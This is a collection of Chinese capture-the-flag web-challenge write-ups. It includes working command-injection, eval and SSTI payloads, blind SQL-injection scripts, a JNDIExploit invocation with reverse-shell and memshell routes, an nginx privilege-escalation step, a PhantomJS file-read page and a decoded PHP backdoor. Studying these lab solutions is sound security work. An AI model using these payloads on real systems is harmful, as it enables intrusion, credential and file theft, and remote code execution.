其中forward_static_call_array为$a,system->’ls’为$b,且$b为array
说明 ¶
forward_static_call_array(callable $callback, array $args): mixed
通过
callback
参数指定调用用户定义的函数或者方法。此函数必须在方法上下文中调用,不能在类外使用。它使用后期静态绑定。转发方法的所有参数都作为值和数组传递,类似于 call_user_func_array()。
注意 forward_static_call_array() 的参数不是通过引用传递的。
有个坑点就是这个$b为二维数组
$ar = array(
"system",
array("ls")
);
=>array(2) { [0]=> string(6) "system" [1]=> array(1) { [0]=> string(2) "ls" } }
其中array[0]作为套娃中forward_static_call_array的第一个参数,指定了使用的静态函数名。array[1]作为forward_static_call_array的第二个参数,作为array传入静态函数中
所以payload就是
?a=forward_static_call_array&b[]=system&b[][]=ls
命名空间
在php当中默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
注意访问任意全局类、函数或常量,都可以使用完全限定名称,例如 \strlen() 或 \Exception 或 \INI_ALL。
在命名空间内部访问全局类、函数和常量:
<?php namespace Foo; function strlen() {} const INI_ALL = 3; class Exception {} $a = \strlen('hi'); // 调用全局函数strlen $b = \INI_ALL; // 访问全局常量 INI_ALL $c = new \Exception('error'); // 实例化全局类 Exception ?>
先要引入一个命名空间的了解,在php中默认的命名空间是\,如果不事先写,所有函数都在全局空间中使用,这就有可能造成函数名冲突
所以不难想到直接使用绝对路径调用system函数
?a=\system&b[]=cat flag.php
新年好?
js题
app.get('/flag', function (req, res) {
function getflag(flag) {
res.send(flag);
}
let delay = 10 * 1000;
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(getflag, delay,flag);
setTimeout(() => {
clearTimeout(t);
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
});
先定义了一个delay变量为10s,然后再和req.query.delay,传入的参数delay取更大的数
然后用delay作为设置超时的函数,这一眼就是溢出,直接把delay往大了填
?delay=99999999999999999999
红包一
F12
Log4j复现
最难复现的一集
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 89.117.226.223 -p 8888 -l 1234
起一个log4j exp服务,然后用这个服务里的Basic/TomcatEcho,在访问头里加个cmd:ls能直接打
Supported LADP Queries
* all words are case INSENSITIVE when send to ldap server
[+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g.
ldap://127.0.0.1:1389/Basic/Dnslog/[domain]
ldap://127.0.0.1:1389/Basic/Command/[cmd]
ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/Basic/TomcatEcho
ldap://127.0.0.1:1389/Basic/SpringEcho
ldap://127.0.0.1:1389/Basic/WeblogicEcho
ldap://127.0.0.1:1389/Basic/TomcatMemshell1
ldap://127.0.0.1:1389/Basic/TomcatMemshell2 ---need extra header [Shell: true]
ldap://127.0.0.1:1389/Basic/JettyMemshell
ldap://127.0.0.1:1389/Basic/WeblogicMemshell1
ldap://127.0.0.1:1389/Basic/WeblogicMemshell2
ldap://127.0.0.1:1389/Basic/JBossMemshell
ldap://127.0.0.1:1389/Basic/WebsphereMemshell
ldap://127.0.0.1:1389/Basic/SpringMemshell
[+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
ldap://127.0.0.1:1389/Deserialization/URLDNS/[domain]
ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils2/TomcatEcho
ldap://127.0.0.1:1389/Deserialization/C3P0/SpringEcho
ldap://127.0.0.1:1389/Deserialization/Jdk7u21/WeblogicEcho
ldap://127.0.0.1:1389/Deserialization/Jre8u20/TomcatMemshell1
ldap://127.0.0.1:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
ldap://127.0.0.1:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells
[+] TomcatBypass Queries
ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain]
ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd]
ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho
ldap://127.0.0.1:1389/TomcatBypass/SpringEcho
ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell1
ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell2 ---need extra header [Shell: true]
ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell
[+] GroovyBypass Queries
ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd]
ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]
[+] WebsphereBypass Queries
ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell
ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
难复现的一b,傻逼东西
给她
dirb扫出.git泄露,直接githack抓下来个hint.php
<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
主要的问题出现在$sql中,使用了第二次sprintf操作,而且$pass的值相对可控
sprintf用于把格式化的字符串写入一个变量中
而用于接收的字符格式值固定:
%% -> 返回一个百分号 %,%b -> 二进制数,%s -> 字符串
等
当%后所指定的类型是无法识别占位符类型时,sprintf会将其置空
"this_is_%'"->sprintf处理,由于%'不被识别,置空->"this_is_"
所以利用这个特性进行绕过addslashes
第一次addslashes+sprintf
$_GET['pass']=test%1$'#
$pass="and pass=test%1$\'#"
第二次addslashes+sprintf,$pass直接被拼接进去
$sql="select * from user where name='%s' and pass='test%1$\'#'"
就在这个时候,对$sql进行sprintf处理,%1$\被置空,留下来的就是
select * from user where name='%s' and pass='test'#'
成功闭合
payload
?name=1&pass=%1$' or 1=1%23
进去第二步明显发现页面不对,看一眼流量,注意到cookie有file字段,CyberChef直接打出来是string转16进制,读/flag文件就行
签到题
<?php
if(isset($_GET['url'])){
system("curl https://".$_GET['url'].".ctf.show");
}else{
show_source(__FILE__);
}
payload
?url=baidu.com%26%26cat%20flag%26%26
假赛生
就是各种利用空格
提示register.php和login.php,还给了index源码
<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
show_source("index.php");
}else{
$name=$_SESSION['name'];
$sql='select pass from user where name="'.$name.'"';
echo $sql."<br />";
system('4rfvbgt56yhn.sh');
$query=mysqli_query($conn,$sql);
$result=mysqli_fetch_assoc($query);
if($name==='admin'){
echo "admin!!!!!"."<br />";
if(isset($_GET['c'])){
preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
echo $flag;
看起来没有能session反序列化的地方,register尝试注册admin不允许
但是在sql中,空格的操作还挺有意思
SELECT * FROM `admininfo` where realname = 'admin'
这个时候如果表中有名为”admin “的数据(带了个空格),也是能被一起查询出来的
注册的时候传入的”admin”和”admin “又是两个不同的字符串,所以直接注册”admin “,登陆”admin”就行
第二步就是绕过判断
preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
直接fuzz
import string
import regex
fuzz = string.printable
for i in fuzz:
if not regex.match(r"\w\W*", i):
print(i, end = "")
打出来的结果是
!"#$%&'()*+,-./:;<=>?@[\]^`{|}~
随便传个?c=!就行
萌新记忆
进去扫网出来个/admin
sql先试探一下,password部分估计是md5,没法闭合,username单引号闭合,简单fuzz一下
import string
import requests
url = "http://dcf0879c-3bff-4175-817e-a3a631e1dfc0.challenge.ctf.show/admin/checklogin.php"
fuzz = string.printable
sql_payload = ["select", "union", "or", "and", "||", "&&", "from", "where", "order", "group", "by", "having", "like",
"updatexml", "order", "exp", "floor", "rand", "extractvalue", "geometrycollection", "multipoint",
"polygon", "multipolygon", "linestring", "multilinestring", "sleep", "length", "substr", "mid", "ascii",
"ord", "if", "/**/", "//"]
for i in fuzz:
re = requests.post(url, data = {"u": i, "p": "1"})
if "我报警了" in re.text:
print(i, end = " ")
for sqls in sql_payload:
re = requests.post(url, data = {"u": sqls, "p": "1"})
if "我报警了" in re.text:
print(sqls, end = " ")
! " # % & * + - . : ; = > ? @ ] ^ _ ` { } ~ select union or and && from where order by having like order floor rand sleep mid ascii ord if /**/
那其实也没办法闭合了
可以猜测一下里边的sql语句
select * from admin where username = '$_POST["u"]' and '$_POST["p"]';
还有一个知识点是应该知道的,就是在sql语句中 and级别高于or
先1=1 and password = 't'
进行运算,得到结果1
,然后再where realname = 'admin' or 1
得到永真
所以这里就可以直接插一条sub来盲注
import string
import requests
letter = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = "http://dcf0879c-3bff-4175-817e-a3a631e1dfc0.challenge.ctf.show/admin/checklogin.php"
for times in range(1, 20):
for i in letter:
payload = "'||substr(p,{},1)<'{}".format(times, i)
re = requests.post(url, data = {"u": payload, "p": "1"})
if re.text == "密码错误":
print(letter[letter.find(i) - 1], end = "")
break
密码打出来去掉两个ZZ登陆就行
抽象的是payload还不能带空格,哈哈
签到
一眼丁真www.zip泄密,
拉出来代码审计
waf_login:
if(preg_match("/load|and|or|\||\&|select|union|\'|=| |\\\|,|sleep|ascii/i",$arr))
waf_register:
if(preg_match("/load|and|\||\&| |\\\|sleep|ascii|if/i",$arr))
register.php:
if(isset($_POST['e'])&&isset($_POST['u'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$u=$_POST['u'];
$p=$_POST['p'];
$sql =
"insert into test1
set email = '$e',
username = '$u',
password = '$p'
";
user.php
if (is_numeric($username))
{
if(strlen($username)>10) {
$username=substr($username,0,10);
}
echo "Hello $username,there's nothing here but dog food!";
}
可以看到要求:
- username部分必须是数字
- 在注册功能的waf是明显少很多的
登陆成功之后,如果username是纯数字,则会直接输出username的值出来
所以可以构造username=select(flag/**/from/**/flag),如果要让他变成纯数字并且ascii被ban的情况下,可以使用两层hex函数,第一步将原文转化为16进制,由于16进制含ABCDEF,再套一层可以保证全是数字
所以要考虑如何逃逸出username = '$u'
简单在$e中多拼接一个'
,后面跟上payload
但是由于换行的限制,在$e中传入的payload处在同行,所以需要用/**/的操作来注释多行
如果不使用/**/,仅用#是无法将换行后的username和password注释掉的
insert into test1
set email = '1',username/**/=/**/hex(hex(substr((select/**/flag/**/from/**/flag),12,1))),password/**/=/**/'pass'#',
username = 'user',
password = 'pass'
成功的打法
insert into test1
set email = '1',username/**/=/**/hex(hex(substr((select/**/flag/**/from/**/flag),12,1))),/*',
username = 'user*/#',
password = 'pass'
这样的打法就成功将第三行的username注释掉了,再使用一个#注释后面的'#
所以一个poc就是
e=1',username/**/=/**/hex(hex(substr((select/**/flag/**/from/**/flag),12,1))),/*
&u=*/#
&p=pass
给出一个脚本
import re
import requests
url1 = "http://7bc05111-4ec7-4214-81c9-4e8e0c259385.challenge.ctf.show/register.php"
url2 = "http://7bc05111-4ec7-4214-81c9-4e8e0c259385.challenge.ctf.show/login.php"
flag = ""
for i in range(1, 50):
payload = "hex(hex(substr((select/**/flag/**/from/**/flag),{},1)))".format(i)
print(payload)
s = requests.session()
data1 = {
"e": str(i) + "',username=" + payload + ",/*",
"u": "*/#",
"p": i
}
r1 = s.post(url1, data = data1)
data2 = {
"e": str(i),
"p": i
}
r2 = s.post(url2, data = data2)
t = r2.text
real = re.findall("Hello (.*?),", t)[0]
flag += real
print(flag)
得到flag的双重hex转string即可
出题人不想跟你说话.jpg
变成提权了
进去一张图,提示cai和菜刀
直接蚁剑连上去,密码cai
但是进去的用户是www-data,需要考虑提权
hint提示去看看什么服务
直接cat /etc/crontab
看看有什么服务
每分钟执行一次/usr/sbin/logrotate -vf /etc/logrotate.d/nginx
蚁剑的终端太傻逼了,反弹个shell到攻击机上
已经提示是nginx服务+提权了,直接有CVE-2016-1247
exp搞下来执行
chmod -R 777 ./nginx.sh
./nginx.sh /var/log/nginx/error.log
等待一分钟crontab自动执行后提权
蓝瘦
看一眼session一眼flask session伪造
F12给key: ican,直接伪造
打进去提示缺少请求参数!
首页还有个param: ctfshow,传个值进去回显
ssti直接梭,0过滤
?ctfshow={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('env').read()}}{%endif%}{%endfor%}
一览无余
CVE-2019-11043
特点nginx/1.20.1
拿phuip-fpizdam直接打
登陆就有flag
考察的点是mysql的隐式类型转换
当输入'3'-'1'
时,mysql引擎会把''
包含的当做数字进行减法运算
fuzz之后可用的特殊字符串有!#$&'./:<>?@[]^_{}
显然,可以用& ^来进行操作
select ''^''
和select ''&''
的结果均为0,而sql的select语句又有个特点,指定where=0
时,会查询所有非数字开头的记录
所以就直接打一个select * from flag where u=''^''#
的payload即可
市赛海燕那个也能这么打'*'
签退
<?php ($S = $_GET['S'])?eval("$$S"):highlight_file(__FILE__);
eval中可利用;
进行多php语句操作
?S=a;system('ls');
预期解是变量覆盖
?S=S=system('cat ../flag.txt');
或者
?S=a=system('cat ../flag.txt');
也有这种打法
?S=_POST['1']($_POST['2']);
1=system&2=ls
不知所措.jpg
$file must has test
必须带test字眼
?file=test.
打过去提示flag not here,估计是一层文件包含
伪协议直接打
php://filter/read=convert.base64-encode/resource=test.
这里有一个tips
php://filter ¶
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
名称 描述 resource=<要过滤的数据流>
这个参数是必须的。它指定了你要筛选过滤的数据流。 read=<读链的筛选列表>
该参数可选。可以设定一个或多个过滤器名称,以管道符(` write=<写链的筛选列表>
该参数可选。可以设定一个或多个过滤器名称,以管道符(` <;两个链的筛选列表>
任何没有以 read=
或write=
作前缀 的筛选器列表会视情况应用于读或写链。
在read和resource中间可以任意插入,不影响数据的读取
php://filter/read=convert.base64-encode/test/resource=test.
在这里加入test后不影响
所以可以通过这个来读index
php://filter/read=convert.base64-encode/test/resource=index.
打出来确实是include,那就直接data打
?file=data://text/plain,<?php system('ls');echo 'test'; ?>
easyshell
进入让传个username和password,cookie还带了hash,合理猜测这三个相关
md5($secret.$name)===$pass
传username=1,password=hash,发现通过window.location.href
自动跳转了两个页面:flflflflag.php,404.html
进burp一步步看,在flflflflag中提示了
include($_GET["file"])
既然都include,直接php伪协议把源码读出来
flflflflag.php:
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
也就这里的文件包含能利用了
法一:
有个知识点:
PHP可以通过POST或者PUT进行文件上传,上传的文件存在临时文件的存储目录中,在一个正常存活周期后删除
上面这张图是PHP在通过POST方法上传文件时的运行周期图,可以看到我们临时文件的存活周期就是上图红色框中的时间段。另外,如果在php运行的过程中,假如php非正常结束,比如崩溃,那么这个临时文件就会永久的保留。如果php正常的结束,并且该文件没有被移动到其它地方也没有被改名,则该文件将在表单请求结束时被删除。
根据@王一航师傅去年的一个发现,利用php://filter/string.strip_tags造成崩溃。在含有文件包含漏洞的地方,使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录
经过文件扫描后还发现了个dir.php,里面就是var_dump了/tmp的目录
那就可以猜测tmp目录就是/tmp下
给一个python的文件上传脚本
import requests
import io
def upload_file_to_url(url, file_content, file_name):
file_data = io.BytesIO(file_content.encode())
files = {'file': (file_name, file_data)}
response = requests.post(url, files=files)
print(response.text)
target_url = 'http://43f8f4c1-7229-4348-8c40-e5858b937637.challenge.ctf.show/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
content_to_upload = '<?php file_put_contents("shell.php","<?php phpinfo();?>")?>'
file_name_to_upload = 'test'
upload_file_to_url(target_url, content_to_upload, file_name_to_upload)
里面使用php://filter/string.strip_tags
来造成崩溃,再访问dir.php即可找到该文件的名字
这个文件被包含的结果就是,创建一个shell.php,往里面写入<?php phpinfo();?>
include包含之后直接访问shell.php
法二:
参考:
浅谈 SESSION_UPLOAD_PROGRESS 的利用
Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。
思路是一样的,包含一个恶意文件,只不过这个恶意文件由session upload得来
给你shell
F12提示传参?view_source
,进去显示源码
<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";
if (isset($_GET['view_source'])) {
show_source(__FILE__);
die;
}
function checkCookie($s) {
$arr = explode(':', $s);
if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
return true;
} else {
if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
return false;
}
}
function haveFun($_f_g) {
$_g_r = 32;
$_m_u = md5($_f_g);
$_h_p = strtoupper($_m_u);
for ($i = 0; $i < $_g_r; $i++) {
$_i = substr($_h_p, $i, 1);
$_i = ord($_i);
print_r($_i & 0xC0);
}
die;
}
isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');
if ($obj && isset($_GET['give_me_shell'])) {
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}
die;
处理流程:如果cookie中设置了secret,赋值给$json,否则给你加上个md5(‘y1ng’)作为cookie
正常情况下cookie的secret为
secret=%7B%22secret%22%3A%22770F0F8B605CFD2BA494849D948D34EF%22%7D
urldecode->
secret={"secret":"770F0F8B605CFD2BA494849D948D34EF"}
进入checkCookie函数,要求$json:
前为{"secret"
,后半部分[\"0-9A-Z]*
且以}
结尾
往后就是$obj接收$json经过json_decode的内容
如果$obj[‘secret’]!=$flag_md5,就进haveFun函数,里面就是把flag md5后转大写,然后每位都和0xC0异或
测试出来haveFun的输出
0006464640064064646464006406464064640064006400000000000
再试试会发现输出有规律:数字->0,字母->64
所以flag md5后的前三个一定是数字
利用php弱比较,数字和数字开头的str比较,str会自动截取,让str转为数字再比较
让secret={"secret":123}
,其中123会被json_decode解析为数字,在这里爆破得到115
进下一步path
<?php
error_reporting(0);
session_start();
require "hidden_filter.php";
if (!$_SESSION['login'])
die('<script>location.href=\'./index.php\'</script>');
if (!isset($_GET['code'])) {
show_source(__FILE__);
exit();
} else {
$code = $_GET['code'];
if (!preg_match($secret_waf, $code)) {
//清空session 从头再来
eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
} else die('hacker');
}
fuzz一通被ban了``fF”$’()*+/;^|`
直接php短标签提前闭合,造成
eval("\$_SESSION[1]?><?=?>]=false;");
接下来要考虑怎么样在新开的标签里读到flag.txt,而且F,f都被ban了,括号也ban了,基本调用不到函数
可以用require来包含(include被ban),加上个~取反来绕过
echo urlencode(~"/flag.txt")->%d0%99%93%9e%98%d1%8b%87%8b
echo urlencode(~"/flag")->%d0%99%93%9e%98
1]?><?=require~%d0%99%93%9e%98?>
RemoteImageDownloader
一眼过去觉得是php+curl,想着file协议直接拿下了
但是测试了发现并不是php,起一个HTTP HEARDER ECHO服务看看UA头得到后端的请求
#!/usr/bin/env python
try:
from http.server import HTTPServer, BaseHTTPRequestHandler
except:
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
import json
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
request_path = self.path
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
json_string = json.dumps(dict(self.headers))
self.wfile.write(json_string.encode('utf-8'))
print('%sBegin of Headers%s' % ('-' * 5, '-' * 5))
for k, v in self.headers.items():
print('%s: %s' % (k, v))
print('%sEnd of Headers%s' % ('-' * 5, '-' * 5))
return None
do_POST = do_GET
do_PUT = do_GET
do_DELETE = do_GET
def main():
port = 8080
print('Listening on all interfaces:%s' % port)
server = HTTPServer(('', port), RequestHandler)
server.serve_forever()
if __name__ == "__main__":
parser = OptionParser()
parser.usage = ("Creates an HTTP-header-echo-server.")
(options, args) = parser.parse_args()
main()
PhantomJS2.1.1有CVE-2019-17221
<!doctype html>
<html lang="en">
<head>
<title>test</title>
<style>body { background: white; }</style>
</head>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function () {
document.body.innerText = xhr.responseText;
};
xhr.open('GET', 'file:///flag');
xhr.send();
</script>
</body>
</html>
让服务器访问这个就行
ALL_INFO_U_WANT
很流畅的一道题
扫出index.php.bak
visit all_info_u_want.php and you will get all information you want
= =Thinking that it may be difficult, i decided to show you the source code:
<?php
error_reporting(0);
//give you all information you want
if (isset($_GET['all_info_i_want'])) {
phpinfo();
}
if (isset($_GET['file'])) {
$file = "/var/www/html/" . $_GET['file'];
//really baby include
include($file);
}
?>
really really really baby challenge right?
include日志包含就行
但是real flag不在根目录,要在蚁剑shell找一下
find /etc -name '*' | xargs grep "{"
或者
find /etc | xargs grep "{"
(只能用单引号,其他都报错 难绷
WUSTCT_朴实无华_Revenge
进去就是经典闯关,先给一个判断回文的函数
function isPalindrome($str){
$len=strlen($str);
$l=1;
$k=intval($len/2)+1;
for($j=0;$j<$k;$j++)
if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
$l=0;
break;
}
if ($l==1) return true;
else return false;
}
level1
if (isset($_GET['num'])){
$num = $_GET['num'];
$numPositve = intval($num);
$numReverse = intval(strrev($num));
if (preg_match('/[^0-9.-]/', $num)) {
die("非洲欢迎你1");
}
if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
die("非洲欢迎你2");
}
if( $numPositve === $numReverse && !isPalindrome($num) ){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
就是传入num,经过intval和反向再intval后相等,且原始num不是回文
限定0-9.-
intval是转int的一个函数,会将浮点取整,字符取开头数字
有了提示的.-很容易想到一个payload
?num=1.10
intval->1;strrev->01.1->intval->1;非回文
level2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5(md5($md5)))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
双重md5之后相等,明显要求md5绕过,找到两次md5之后都是0e开头即可
0e开头弱比较会认为是科学计数法,0的n次方等于0的m次方
import hashlib
def md5_hash(s):
return hashlib.md5(s.encode()).hexdigest()
for i in range(1000000000001):
original_str = "0e" + str(i)
first_hash = md5_hash(original_str)
second_hash = md5_hash(first_hash)
if second_hash.startswith("0e") and second_hash[2:].isdigit():
print(original_str)
break
?md5=0e3900184182
level3
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
最简单的一集,不能有空格,不能有上面的关键词
空格可以用<或者制表符(Tab)代替,读取直接nl
?get_flag=nl</flag
?get_flag=nl /flag
Login_Only_For_36D
F12提示
name参数里必须带admin,fuzz之后被ban了挺多
['&', "'", '-', ';', '<', '=', '>', '|', ' ', 'select', 'union', 'updatexml', 'floor', 'rand', 'substr', 'mid', 'ascii', 'and', '||', '&&']
可以利用/
,将admin后面的'
注释掉,达到这样的效果
name=1\&pass=test
->
select * from 36d_user where username='1\' and password='test';
传入数据库查询的username即为1\' and password=
,由于无回显,盲注即可
import requests
url = "http://9420c6ec-8845-43b4-b94f-e1aa0543c453.challenge.ctf.show/index.php"
username = "admin\\"
alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'j', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u',
'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
flag = ""
for i in range(1, 30):
for al in alphabet:
a_int = ord(al)
data = {
'username': username,
'password': f"or/**/if((ord(right(left(password,{i}),1))/**/in/**/({a_int})),sleep(3),1)#"
}
try:
r = requests.post(url, data=data, timeout=3)
except:
flag += chr(a_int)
print(flag)
你取吧
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
die('nonono');
}
}
eval("echo($code);");
要求不使用字母取反异或echo出东西,解法很多
预期解是访问$_
中的键值拼接,最后用${}
构成$hint
?code=${$_{7}.$_{8}.$_{12}.$_{19}}
还有P牛的无数字webshell也能打
拿到zip源码,经过phpjiami跑过一遍
还是P牛
hook eval的插件没成功,dump出来的
?><?php @eval("//Encode by phpjiami.com,Free user."); ?><?php
$ch = explode(".","hello.ass.world.er.rt.e.saucerman");
$c = $ch[1].$ch[5].$ch[4];
@$c($_POST[7-1]);
?>
<?php
就是assert($_POST[7-1]);)
POST
6=system('cat /flag');
网上还抄了个解密脚本
<?php
function decrypt($data, $key)
{
$data_1 = '';
for ($i = 0; $i < strlen($data); $i++) {
$ch = ord($data[$i]);
if ($ch < 245) {
if ($ch > 136) {
$data_1 .= chr($ch / 2);
} else {
$data_1 .= $data[$i];
}
}
}
$data_1 = base64_decode($data_1);
$key = md5($key);
$j = $ctrmax = 32;
$data_2 = '';
for ($i = 0; $i < strlen($data_1); $i++) {
if ($j <= 0) {
$j = $ctrmax;
}
$j--;
$data_2 .= $data_1[$i] ^ $key[$j];
}
return $data_2;
}
function find_data($code)
{
$code_end = strrpos($code, '?>');
if (!$code_end) {
return "";
}
$data_start = $code_end + 2;
$data = substr($code, $data_start, -46);
return $data;
}
function find_key($code)
{
// $v1 = $v2('bWQ1');
// $key1 = $v1('??????');
$pos1 = strpos($code, "('" . preg_quote(base64_encode('md5')) . "');");
$pos2 = strrpos(substr($code, 0, $pos1), '$');
$pos3 = strrpos(substr($code, 0, $pos2), '$');
$var_name = substr($code, $pos3, $pos2 - $pos3 - 1);
$pos4 = strpos($code, $var_name, $pos1);
$pos5 = strpos($code, "('", $pos4);
$pos6 = strpos($code, "')", $pos4);
$key = substr($code, $pos5 + 2, $pos6 - $pos5 - 2);
return $key;
}
$input_file = $argv[1];
$output_file = $argv[1] . '.decrypted.php';
$code = file_get_contents($input_file);
$data = find_data($code);
if (!$code) {
echo '未找到加密数据', PHP_EOL;
exit;
}
$key = find_key($code);
if (!$key) {
echo '未找到秘钥', PHP_EOL;
exit;
}
$decrypted = decrypt($data, $key);
$uncompressed = gzuncompress($decrypted);
// 由于可以不勾选代码压缩的选项,所以这里判断一下是否解压成功,解压失败就是没压缩
if ($uncompressed) {
$decrypted = str_rot13($uncompressed);
} else {
$decrypted = str_rot13($decrypted);
}
file_put_contents($output_file, $decrypted);
echo '解密后文件已写入到 ', $output_file, PHP_EOL;
WUSTCTF_朴实无华_Revenge_Revenge
只有level1和getflag改了
if (isset($_GET['num'])){
$num = $_GET['num'];
